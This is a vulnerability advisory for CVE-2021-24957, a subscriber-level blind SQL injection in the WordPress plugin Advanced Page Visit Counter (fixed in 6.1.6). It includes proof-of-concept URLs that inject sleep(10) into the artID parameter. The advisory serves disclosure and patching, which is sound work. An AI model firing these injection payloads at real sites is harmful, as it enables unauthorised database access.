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Advanced Page Visit Counter < 6.1.6 - Subscriber+ Blind SQL injection

Description

The plugin does not escape the artID parameter before using it in a SQL statement in the apvc_reset_count_art AJAX action, available to any authenticated user, leading to a SQL injection

Proof of Concept

v <= 5.0.8 - https://example.com/wp-admin/admin-ajax.php?action=apvc_reset_count_art&artID=sleep(10)

v < 6.1.6 - https://example.com/wp-admin/admin-ajax.php?action=apvc_reset_count_art&artID=sleep(10)&security_nonce=xxxx 

Affects Plugins

advanced-page-visit-counter
Fixed in version 6.1.6

References

CVE
CVE-2021-24957

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
a282606f-6abf-4f75-99c9-dab0bea8cc96

Timeline

Publicly Published

2022-03-29 (about 10 months ago)

Added

2022-03-29 (about 10 months ago)

Last Updated

2022-06-15 (about 7 months ago)

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